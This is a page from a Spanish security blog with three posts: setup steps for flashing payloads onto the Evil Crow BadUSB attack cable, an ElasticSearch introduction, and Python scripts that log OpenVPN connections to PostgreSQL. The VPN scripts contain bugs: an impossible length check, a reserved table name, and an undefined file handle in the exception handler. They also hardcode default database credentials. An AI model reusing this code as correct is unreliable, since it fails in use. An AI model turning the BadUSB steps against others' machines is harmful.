Seleccionamos USB controller y hacemos click en finalizar

5. Iniciar la máquina virtual

6. Abrir un terminal (CTRL+ALT+T) y acceder al directorio del IDE de Arduino con el siguiente comando: cd arduino-1.8.10-linux64/arduino-1.8.10/

7. Ejecutar el IDE de Arduino con el siguiente comando: ./arduino

8. Abrir un payload en el IDE de Arduino. Nota: Los payloads están descargados en el home del usuario de la máquina virtual

9. Verificar y subir los payloads a Evil Crow cable.

Línea de datos

Cuando empezamos el proyecto a finales de 2017 y presentamos la charla “Troyanizando Hardware: ten cuidado con qué (USB) metes y donde” en la primera edición de la h-c0n, el cable BadUSB que teníamos en ese momento sólo permitía alimentación a través del puerto MicroUSB.

En el cable final de producción, hemos conseguido habilitar la línea de datos en modo “PoC”, utilizando el esquema básico que hay publicado en Internet.

¿Qué queremos decir con esto? Actualmente no tenemos control sobre la línea de datos de Evil Crow cable. Para conseguir control sobre la línea de datos necesitaríamos añadir un mini Hub USB dentro del conector USB del cable. Pero… ¿qué podemos hacer mientras esperamos una V2?

La línea de datos podrá/no podrá ser utilizada en las siguientes cuatro situaciones:

1. Si conectamos Evil Crow cable sólo a un ordenador, el payload se ejecutará correctamente.

2. Si conectamos Evil Crow cable junto a un dispositivo multimedia (teléfono, mp3, etc) a la vez a un ordenador, se habilitará la línea de datos y podremos acceder al almacenamiento del dispositivo multimedia, pero el payload no se ejecutará.

3. Primero conectamos Evil Crow cable a un ordenador y después de ejecutar el payload conectamos un dispositivo multimedia al puerto MicroUSB: La línea de datos será habilitada y podremos acceder al almacenamiento del dispositivo multimedia, pero tendremos que esperar unos 10-15 segundos después de la ejecución del payload antes de conectar el dispositivo multimedia. Si conectamos el dispositivo multimedia antes de esos 10-15 segundos, es posible que la línea de datos no funcione correctamente.

4. Primero conectamos Evil Crow cable y un dispositivo multimedia a un ordenador a la vez, la línea de datos será habilitada y tendremos acceso al almacenamiento del dispositivo multimedia (ver punto 2 de esta sección). Después, desconectamos el dispositivo multimedia mientras Evil Crow cable sigue conectado al ordenador: el payload se ejecuta correctamente.

Dejamos el siguiente enlace con la demostración en vídeo de la línea de datos para entenderlo mejor:

https://twitter.com/JoelSernaMoreno/status/1189658626929111040?s=19

Actualmente estamos trabajando en la versión V2 de Evil Crow cable donde tendremos control total sobre la línea de datos, y posiblemente… control remoto sobre el propio cable, pero mientras tanto… se decidió habilitar esta PoC en todos los cables de producción para pruebas 😀

Para terminar, decir que tenéis toda la información de la instalación vista en el artículo y más información sobre la línea de datos en el siguiente repositorio:

https://github.com/joelsernamoreno/EvilCrow-Cable

Un saludo y hasta la próxima!

Seguridad en ElasticSearch: Introducción – Parte I

agosto 23, 2019 3 comentarios

ElasticSearch se ha convertido poco a poco en una solución muy utilizada para el procesamiento de grandes volúmenes de datos. Está pensado principalmente para que las búsquedas sean rápidas y altamente personalizables, un modelo perfecto para la implementación de soluciones basadas en Big Data. ElasticSearch (ES) es un producto que cuenta con una API Rest muy completa para gestionar los índices y documentos, además cuenta con un sistema de complementos que permite extender sus funcionalidades. A pesar de ser un producto que lleva en el mercado varios años y que se ha posicionado muy bien, la seguridad en las instancias de ES a día de hoy es un tema delicado y en muchas ocasiones no es tan sencillo de configurar. Las instancias de ES por defecto no tienen ningún mecanismo de protección a “miradas indiscretas” y la cosa empeora aún más cuando múltiples instancias de ES funcionan en modo “cluster”. No obstante, antes de empezar a explicar estás cuestiones es importante entender el funcionamiento de ES, un poco de historia y sus características principales. Ese será el objetivo de éste post.

ElasticSearch un motor de búsqueda orientado a documentos, basado en Apache Lucene. Mantenido por su desarrollador principal hasta la creación de Elasticsearch.com (http://elasticsearch.com/) en 2012. Actualmente se encuentra bajo desarrollo y mejora continua por dicha empresa, bajo licencia OpenSource Apache 2.

Sus características fundamentales son las siguientes:

  • Orientado a documentos: JSON’s, Basado en Apache Lucene.
  • No se utilizan esquemas como en una base de datos relacional, de hecho, ES puede ser considerado como un motor de base de datos no relacional.
  • Distribuido: Escala dinámicamente y permite la integración de múltiples instancias. Los datos se encuentran replicados en cada nodo por medio de shards primarios y copias, evitando de esta forma la perdida de información en el caso de que un nodo se corrompa o exista un fallo en disco.
  • Multi-Tenant: Permite operar sobre múltiples índices a la vez
  • Centrado en API’s: Expone todas sus funcionalidades vía APIs REST
  • Búsquedas estructuradas y no estructuradas: Permite el uso de varios tipos de filtros, llegando a un nivel de granularidad en las búsquedas bastante preciso, pero también complejo.
  • Agregaciones / facetas: Permite la definición de características comunes en conjuntos de datos (documentos ES). Similar a las funciones de agregación disponibles en SQL estándar
  • Soportado por múltiples lenguajes de programación: Al tener una API Rest que permite la gestión de todas las características del sistema, es fácil crear clientes en prácticamente cualquier lenguaje de programación.
  • Elastic Search se compone de dos capas que se encuentran completamente desacopladas y tienen su propia gestión independiente:
    • Sistema distribuido: Implementa las funciones de gestión necesarias para los nodos de un cluster y el mantenimiento de sus datos. Los objetivos de esta capa se centran en el desempeño, la escalabilidad, alta disponibilidad y la tolerancia a fallos gracias al sistema de shards.
    • Motor de búsqueda: Proporciona las funcionalidades de indexación y búsqueda de documentos.

Una vez entendidas sus características principales, merece la pena mencionar la terminología básica para que luego sea más fácil de entender lo que se explicará en los próximos posts.

Cluster: Se trata de un conjunto de instancias de ES que comparten mismo nombre de cluster (propiedad cluster.name). No obstante, un cluster puede estar compuesto por un único nodo. Cuando se inicia una instancia de ES, si no se ha indicado las direcciones IP o hostnames correspondientes al conjunto de instancias “maestro”. También hay que tener en cuenta que cuando se inicia una instancia de ES por primera vez, si no se indica en la configuración la ubicación de los nodos master, es la propia instancia la que actuará como master en los próximos reinicios de la instancia, en tales casos es necesario volver a instalar y configurar la instancia desde cero tal como se verá en un próximo post.

NOTA: Al parecer en ES no creen en el lenguaje inclusivo ni son “100% feminist compliant” ya que usan términos como maestro y esclavo, espero que alguna/algune/alguni no se sienta ofendida/ofendide/ofendidi.

Nodo: Se refiere simplemente a una instancia de ES en ejecución.

Índices: Se trata de una colección de varios documentos (estructuras JSON), que no necesariamente tienen una estructura común. Comparable a los esquemas de una base de datos relacional.

Tipos: Colección de varios documentos de similar estructura. Comparable a tablas de bases de datos

Shard: Espacio de almacenamiento físico de cada uno de los documentos de un índice. También se le suele llamar “Shard Primario” para distinguir entre el “shard” principal y las replicas que se generan en otros nodos del cluster.

Replica: Copia de un shard que permite la replicación de la información. Gracias a este mecanismo ES cumple con los requisitos de alta disponibilidad y tolerancia a fallos. Por defecto, las replicas de un shard no se almacenan en el mismo nodo si hay un entorno de cluster.

Bien, teniendo claros estos términos y considerando que el objetivo de estos posts es que se puedan poner en práctica, lo primero es saber cómo instalar una instancia de ES, que tal como se podrá ver a continuación es bastante sencillo.

Instalación de ES

La instalación de una instancia de ES es un proceso muy simple y no requiere demasiado esfuerzo. Básicamente hay 3 alternativas: 1. instalarlo como servicio del sistema con los típicos gestores de paquetes en sistemas basados en Debian (apt-get) o RedHat (yum). 2. Utilizar una imagen de docker preparada o con Elastic Cloud (https://www.elastic.co/es/cloud/elasticsearch-service/signup). 3. Descargar el fichero tar.gz del sitio oficial, descomprimir y ejecutar el binario correspondiente (https://www.elastic.co/es/downloads/elasticsearch).

Cualquiera de las 3 alternativas es valida, no obstante, como ocurre con muchos otros productos de software que se pueden instalar desde código fuente (tercera opción), en mi opinión es mucho más cómodo, fácil de gestionar (no se instala un servicio systemd directamente en el SO), más fácil de configurar ya que todos los ficheros y binarios están en la misma ruta donde se ha descomprimido y lo mejor, se puede abrir el fichero de configuración ubicado en el directorio “config” y realizar los cambios que sean oportunos. En mi opinión, es mejor seguir la tercera alternativa para entender como funciona el sistema y luego plantarse incluirlo como un servicio en un entorno de producción.

Una vez descargado y descomprimido el fichero “tar.gz” basta con dirigirse al directorio “bin” y desde una terminal ejecutar el comando “elasticsearch”. Con esto, ya tenemos una instancia de ES con los valores de configuración por defecto y todo preparado para empezar a almacenar información.

Cuando se inicia una instancia de ES se podrán ver muchas trazas indicando que el nodo se encuentra levantado y como se verá un otro post, cada nodo puede estar en uno de tres posibles estados “RED”, “YELLOW”, “GREEN”. Los estados simplemente indican cómo se encuentran los shards para los índices que se han creado en la instancia. Por otro lado, también se puede ver que el servicio de ES por defecto se vincula únicamente a la interfaz de red local en el puerto 9200. Para comprobar que se encuentra correctamente instalado, basta simplemente con abrir un navegador web y lanzar una petición HTTP GET contra dicho puerto en local.

Partiendo de una instancia en ejecución, lo siguiente es comenzar a crear índices y comprobar el funcionamiento de ES. Partiendo de este conocimiento sobre el sistema, es posible comenzar a hablar de seguridad y tanto buenas como malas prácticas de configuración. Serán cosas que se verán en próximos posts.

Un saludo y Happy Hack.

Adastra.

Monitorizar conexiones y desconexiones contra un servidor OpenVPN con Python.

agosto 10, 2019 Deja un comentario

Hola a todos. He vuelto. 🙂

Las próximas semanas tendré algo de tiempo libre y he decidido dedicarlo a este espacio, escribiré algunos artículos sobre seguridad que tengo pendientes desde hace mucho tiempo y que ahora, me dispongo a compartir con todos vosotros. Vamos a por uno sencillo primero!

Una de las características más interesantes que tiene OpenVPN es precisamente la posibilidad de ejecutar scripts ante determinados eventos, por ejemplo, es posible indicar en el fichero de configuración que se ejecute un programa determinado cuando un usuario se conecta o desconecta. Dicho programa puede ser un script escrito en Python, por ejemplo, que se encargará de recopilar la información de la conexión que ha establecido el cliente. Esto puede tener varios usos, entre los que se incluyen la monitorización de las conexiones de los usuarios, forzar a que los clientes se conecten únicamente desde ubicaciones concretas, limitar el número de conexiones con el mismo certificado o OVPN, etc. En resumen, permite un buen nivel de control sobre los usuarios y las conexiones realizadas contra el servidor. Ahora, esto cómo se hace?

Configuración de OpenVPN con “script-security”

La directiva de configuración “script-security” es precisamente la que permite la ejecución de scripts y otros programas externos desde el proceso en ejecución de OpenVPN. Sin embargo, está opción no está exenta de riesgos y problemas de seguridad potenciales, tal como se puede leer en la documentación oficial de OpenVPN:

–script-security level [method]

This directive offers policy-level control over OpenVPN’s usage of external programs and scripts. Lower level values are more restrictive, higher values are more permissive. Settings for level:0 — Strictly no calling of external programs.
1 — (Default) Only call built-in executables such as ifconfig, ip, route, or netsh.
2 — Allow calling of built-in executables and user-defined scripts.
3 —Allow passwords to be passed to scripts via environmental variables (potentially unsafe).The method parameter indicates how OpenVPN should call external commands and scripts. Settings for method:

execve — (default) Use execve() function on Unix family OSes and CreateProcess() on Windows.
system —Use system() function (deprecated and less safe since the external program command line is subject to shell expansion).

The –script-security option was introduced in OpenVPN 2.1_rc9. For configuration file compatibility with previous OpenVPN versions, use: –script-security 3 system”

Evidentemente, si se utiliza ésta opción en el fichero de configuración o como argumento a la hora de levantar el servicio hay que tener en cuenta, como mínimo lo siguiente:

1. Si se establece el método “2”, sería recomendable eliminar los permisos de lectura y escritura en los scripts que se ejecutarán por medio de OpenVPN, ya que si un atacante consigue acceso local y dichos scripts permiten su edición por parte de usuarios con permisos bajos, existe la posibilidad de que elevar privilegios en el sistema.

2. Evitar usar el método “3” ya que se pueden producir fugas de información sensible a la hora de establecer credenciales en variables de entorno.

Es una opción de configuración con la que hay que tener cuidado, sin embargo cuando se siguen los criterios anteriores es posible utilizarla sin riesgo. Esta opción únicamente le indica a OpenVPN que desde el proceso se podrán lanzar scripts o comandos externos, sin embargo con esto no es suficiente para indicar cuáles serán dichos scripts y cómo se deben ejecutar. Para ello existen otras opciones de configuración en las que se especifican precisamente estos detalles, tales como “up”, “client-connect” o “client-disconnect”. Dichas opciones se pueden incluir en el fichero de configuración utilizado para levantar el proceso de OpenVPN, por ejemplo:

script-security 2
client-connect "/usr/bin/python /home/adastra/connection.py"
client-disconnect "/usr/bin/python /home/adastra/disconnection.py"

Tal como el nombre de la opción indica, estos scripts se van a ejecutar en el momento en el que un cliente se conecte o desconecte, lo que nos permite hacer cosas simples pero interesantes, como por ejemplo registrar en una base de datos los detalles relacionados con las conexiones de los usuarios (fecha, ubicación, duración de la conexión, etc.). Se trata de información que se almacena en el momento en el que el evento ocurre en forma de variables de entorno, por lo tanto, lo que se debe de hacer en estos scripts es simplemente leer el valor de dichas variables de entorno antes de que dejen de estar disponibles. El siguiente script en Python nos permite hacer precisamente esto, con muy pocas líneas y prácticamente ningún esfuerzo.

connection.py:

import posix,time;
with open('/tmp/conn.out','w') as fd:
    fd.write(posix.environ['trusted_ip'])
    fd.write(posix.environ['common_name'])

Con esto simplemente se escriben los valores de las variales “trusted_ip” y “common_name” en un fichero de texto en el directorio “/tmp”. Evidentemente existen otras variables de entorno que se pueden consultar, como por ejemplo la IP dentro de la VPN que se le ha asignado al cliente (ifconfig_pool_remote_ip).

No obstante, lo más normal es que esta información se almacene en una base de datos, para demostrar esto, el siguiente script se encargará del registro de las conexiones en una base de datos PostgreSQL, por lo tanto será necesario utilizar una librería como “psycopg2”.

import psycopg2
import posix
common_name = posix.environ['common_name']
trusted_ip = posix.environ['trusted_ip']


class Database():
	def __init__(self, dbName="database_openvpn", dbUser="postgres", dbServer="127.0.0.1", dbPort=5432, dbPass="postgres"):
		self.connection = psycopg2.connect("dbname='%s' user='%s' host='%s' port='%s'  password='%s'" %(dbName, dbUser, dbServer, dbPort, dbPass))
		self.cursor = self.connection.cursor()

	def execute(self, createInstruction, params=None):
		self.cursor.execute(createInstruction, params)
		self.connection.commit()
		id = self.cursor.fetchone()[0]
		return id

	def create(self, createInstruction, params=None):
		self.cursor.execute(createInstruction, params)
		self.connection.commit()

	def select(self, selectInstruction, params=None):
		self.cursor.execute(selectInstruction,params)
		return self.cursor.fetchall()

	def close(self):
		self.cursor.close()
		self.connection.close()

if __name__ == "__main__":
	db = None
	try:
		db = Database()
		db.create("CREATE TABLE IF NOT EXISTS user(id serial primary key, common_name varchar NOT NULL);")	
		db.create("CREATE TABLE IF NOT EXISTS addresses(id SERIAL PRIMARY KEY, address varchar(255) NOT NULL,user_id integer REFERENCES user(id));")
		db.create("CREATE TABLE IF NOT EXISTS connections(id SERIAL PRIMARY KEY, date_connection TIMESTAMP NOT NULL, date_disconnection TIMESTAMP, address_id integer REFERENCES addresses(id));")

		from datetime import datetime
		fechaActual = datetime.now()
		timeStampActual = psycopg2.Timestamp(fechaActual.year, fechaActual.month, fechaActual.day, fechaActual.hour, fechaActual.minute, fechaActual.second)
		with open('/tmp/trazas-connect','w') as fd:
			fd.write("Conexion de cliente %s desde %s \n" %(common_name, trusted_ip))
			users = db.select("select id from user where common_name = %s", (common_name,))
			userid = 0
			if len(users) < 0:
				fd.write("\nUsuario registrado previamente en la base de datos")
				userid = users[0][0]
				fd.write("\nIdentificador de usuario: %s " %(str(userid)))

			else:
				fd.write("\nUsuario NO registrado previamente en la base de datos")
				userid = db.execute("insert into user(common_name) values(%s) RETURNING id", (common_name,))
				fd.write("\nUsuario insertado en BD con identificador: %s" %(str(userid)))
				addressid = db.execute("insert into addresses(address, user_id) values(%s, %s) RETURNING id", (trusted_ip, userid,))
				fd.write("\nDirección insertada en BD con identificador: %s" %(str(addressid)))
				connid = db.execute("insert into connections(date_connection, address_id) values(%s, %s) RETURNING id", (timeStampActual, addressid,))
				fd.write("\nConexion insertada en BD con identificador: %s" %(str(connid)))
				fd.write("\nProceso de registro finalizado correctamente.")
				fd.write("\n-----------------------------------------\n\n")

	finally:
		if db is not None:
			db.close()

Este sería el script de registro, en donde se almacenan las conexiones de los usuarios y un par de detalles básicos. En este programa se verifica si el usuario se encuentra almacenado en base de datos y si está, no se procede a almacenar nada en la base de datos. El script en realidad es bastante simple, sin embargo tiene bastantes líneas de código, las cuales como se puede apreciar, en su mayoría sirven para depurar. El motivo de esto es que a día de hoy (o mejor, hasta donde llegan mis conocimientos en OpenVPN) no hay manera de depurar los programas externos que se lanzan desde el proceso de OpenVPN y si por lo que sea, dichos programas, como por ejemplo este script, lanza una excepción no controlada, el servidor rechazará la conexión con el cliente, este es otro de los motivos por los que hay que tener mucho cuidado a la hora de utilizar esta característica. Por ejemplo, suponiendo que la base de datos “database_openvpn” no se encuentre creada o que directamente el servicio de PostgreSQL se encuentre detenido, en tales casos el script lanzará una excepción y si no se controla adecuadamente, supondrá que ningún cliente se va a poder conectar a la VPN.
Ahora bien, si la opción “client-connect” permite indicar un script que se lanzará justo en el momento en el que un usuario se conecta, la opción “client-disconnect” hace lo mismo pero al reves, cuando el cliente envia la señal de cierre de conexión. Siguiendo la lógica del script anterior, el script de desconexión se encargará de realizar una operación DELETE/UPDATE sobre cada una de las tablas relacionadas. Este sería el contenido de dicho script:

import posix
import psycopg2

common_name = posix.environ['common_name']
trusted_ip  = posix.environ['trusted_ip']

class Database():
    def __init__(self, dbName="database_openvpn", dbUser="postgres", dbServer="127.0.0.1", dbPort=5432, dbPass="postgres"):
        self.connection = psycopg2.connect("dbname='%s' user='%s' host='%s' port='%s' password='%s'" %(dbName, dbUser, dbServer, dbPort, dbPass))
        self.cursor = self.connection.cursor()
        
    def execute(self, createInstruction, params=None):
        self.cursor.execute(createInstruction, params)
        self.connection.commit()

    def select(self, selectInstruction, params=None):
        self.cursor.execute(selectInstruction,params)
        return self.cursor.fetchall()

    def close(self):
        self.cursor.close()
        self.connection.close()
    
        
if __name__ == "__main__":
	db = None
	try:
		db = Database()
		from datetime import datetime
		fechaActual = datetime.now()
		timeStampActual = psycopg2.Timestamp(fechaActual.year, fechaActual.month, fechaActual.day, fechaActual.hour, fechaActual.minute, fechaActual.second)
		with open('/tmp/trazas-disconnect','w') as fd:			
			conn = db.select("select c.id from user u, addresses a, connections c where (u.id = a.user_id and c.address_id = a.id) and u.common_name = %s and a.address = %s and c.date_disconnection IS NULL", (common_name, trusted_ip,) )
			connid = 0
			fd.write("\nProceso de desconexion iniciado para el usuario %s " %(common_name))
			if len(conn) > 0:
				connid = conn[0][0]
				fd.write("\nIdentificador de conexion a actualizar %s " %(str(connid)))
				db.execute("UPDATE connections SET date_disconnection = %s where id = %s", (timeStampActual, connid,))
			fd.write("\nProceso de desconexion del usuario %s finalizado correctamente" %(common_name))
			fd.write("\n-----------------------------------------------\n\n")
	except:
		fd.write("\nSe ha producido una excepción\n")
	finally:
		if db is not None:
			db.close()

Con esto ya se tendría un sistema para la gestión de conexiones en VPN, algo que serviría para monitorizar la actividad del servidor y las conexiones/desconexiones que realizan los usuarios.
Eres libre de utilizar estos scripts y modificarlos a tu gusto para realizar pruebas o incluso para implementarlos en tu propio servicio de OpenVPN

Un saludo y Happy Hack.

Adastra.

A %d blogueros les gusta esto: